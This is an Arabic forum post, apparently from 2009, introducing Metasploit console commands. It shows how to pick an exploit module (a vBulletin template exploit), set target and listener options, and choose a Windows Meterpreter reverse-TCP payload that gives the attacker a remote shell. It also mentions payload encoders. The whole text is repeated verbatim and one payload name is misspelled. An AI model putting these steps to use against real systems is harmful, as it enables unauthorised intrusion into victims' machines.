هيتفون
12-26-2009, 10:31 PM
كيف الاحباب و الله كنت مشغول شوي و لكن لقيت وقت و قلت اعمل شرح للاخوة لاداة الميتاسبلويت من اوامر الح المهم رح نبدا بالاسهل حتي نصل الي الاختراق رح نحاول نقسمها الي دروس انا كنت حملت بعض الدروس من اساسيات الخ المهم رح اترككم تستفيدون مع نبدا علي بركت الله
كود PHP:
show exploits
اظهار جميع ثغرات اداة الميتاسبلويت
كود PHP:
show payloads
اظهار جميع البايلود في مشروع الميتاسبلويت
كود PHP:
show auxiliary
يستخدم لاظهار ثغرات الفحص كـ فحص منافذ وبورتات مواقع و اجهزة ألخ
كود PHP:
show options
يستخدم لأظهار خيارات الثغرة المستخدمة
كود PHP:
use
يستخدم هذا الامر لأستخدام ثغرة ما كمثال .. use unix/<font color="#FF0000">*</font><font color="#FF0000">*</font><font color="#FF0000">*</font>app/php_vbulletin_template
كود PHP:
set
يستخدم هذا الامر لتعديل خيارات ثغرة ما... انظر فوق ^_^ قلنا show options لأظهار خيارات الثغرة اما هنا لتعديل خيارات ثغرة ما او بالاصح ادخال الخيارات الى الثغرة من اي بي وبورت الى ما لذلك
مثال عليها .. من خيارات او شروط الثغرة ان تضع الاي بي المستهدف من موقع او جهاز وان تضع البروت ... يوجد غير هذان الخياران لكن هذا ليس موضوعنا وانما كيف التعديل على خيارات ثغرة ما ... الامر يكون هكذا
البورت المستهدف يرمز بهذا RPORT
بورت جهازنا لوصول التبليغ او اقصد بنجاح الثغرة والتحكم من جهازنا يرمز له LPORT
الاختلاف في كلمة L وكلمة R
عندما تشاهد هذه الرموز فوق تبدأ بـ L فأعلم انها تتكلم عنك واما اذا بدأت بـR فانها تتلكم عن الضحية
الامر يكون بالتعديل على خيارات الثغرة بهذا الامر
set RPORT 9999
هكذا بنكون عدلنا على الثغرة ووضعنا اي بي الهدف اما اذا قلنا كذا
set LHOST 129.168.1.100
كذا بنكون ادخلنا اي بي جهازنا في خيارات الثغرة لكي نتنصت عليه من النت كات او غيره
الان الاوامر جاهزة كذا
الآن لنفرض تريد اختيار بايلود معينة والنفرض بايلود الميتربريتر القوية .. ان شاء الله بنتطرق للبايلود وشرحها ووظيفتها واستعمالاتها
الان نرجع لموضوعنا ..يكون الامر هكذااا
set PAYLOAD windows/meterpreter/reverce_tcp
وبأمكانك تغيير البايلود التي واسمائها موجودة عن طريق الامر السابق
كود PHP:
show payloads
كود PHP:
show encoders
لأظهار ثغرات التشفير .. ليس هكس وانما تشفيرات من نوع قوي وفعال وايضا عن صنع اي بايلود فأنه يتم صناعته مشفر ولذلك ايضا يوجد هذه الانواع encoders للتشفير اكثر واكثر
الي هنا انتهينا من الاساسيات و انشاء الله افدتكم معي الموضوع منقول للافادة و حملته من زمن و نسيت صاحبه اسف
ارجو من الاخوة التقييم
كود PHP:
show exploits
اظهار جميع ثغرات اداة الميتاسبلويت
كود PHP:
show payloads
اظهار جميع البايلود في مشروع الميتاسبلويت
كود PHP:
show auxiliary
يستخدم لاظهار ثغرات الفحص كـ فحص منافذ وبورتات مواقع و اجهزة ألخ
كود PHP:
show options
يستخدم لأظهار خيارات الثغرة المستخدمة
كود PHP:
use
يستخدم هذا الامر لأستخدام ثغرة ما كمثال .. use unix/<font color="#FF0000">*</font><font color="#FF0000">*</font><font color="#FF0000">*</font>app/php_vbulletin_template
كود PHP:
set
يستخدم هذا الامر لتعديل خيارات ثغرة ما... انظر فوق ^_^ قلنا show options لأظهار خيارات الثغرة اما هنا لتعديل خيارات ثغرة ما او بالاصح ادخال الخيارات الى الثغرة من اي بي وبورت الى ما لذلك
مثال عليها .. من خيارات او شروط الثغرة ان تضع الاي بي المستهدف من موقع او جهاز وان تضع البروت ... يوجد غير هذان الخياران لكن هذا ليس موضوعنا وانما كيف التعديل على خيارات ثغرة ما ... الامر يكون هكذا
البورت المستهدف يرمز بهذا RPORT
بورت جهازنا لوصول التبليغ او اقصد بنجاح الثغرة والتحكم من جهازنا يرمز له LPORT
الاختلاف في كلمة L وكلمة R
عندما تشاهد هذه الرموز فوق تبدأ بـ L فأعلم انها تتكلم عنك واما اذا بدأت بـR فانها تتلكم عن الضحية
الامر يكون بالتعديل على خيارات الثغرة بهذا الامر
set RPORT 9999
هكذا بنكون عدلنا على الثغرة ووضعنا اي بي الهدف اما اذا قلنا كذا
set LHOST 129.168.1.100
كذا بنكون ادخلنا اي بي جهازنا في خيارات الثغرة لكي نتنصت عليه من النت كات او غيره
الان الاوامر جاهزة كذا
الآن لنفرض تريد اختيار بايلود معينة والنفرض بايلود الميتربريتر القوية .. ان شاء الله بنتطرق للبايلود وشرحها ووظيفتها واستعمالاتها
الان نرجع لموضوعنا ..يكون الامر هكذااا
set PAYLOAD windows/meterpreter/reverce_tcp
وبأمكانك تغيير البايلود التي واسمائها موجودة عن طريق الامر السابق
كود PHP:
show payloads
كود PHP:
show encoders
لأظهار ثغرات التشفير .. ليس هكس وانما تشفيرات من نوع قوي وفعال وايضا عن صنع اي بايلود فأنه يتم صناعته مشفر ولذلك ايضا يوجد هذه الانواع encoders للتشفير اكثر واكثر
الي هنا انتهينا من الاساسيات و انشاء الله افدتكم معي الموضوع منقول للافادة و حملته من زمن و نسيت صاحبه اسف
ارجو من الاخوة التقييم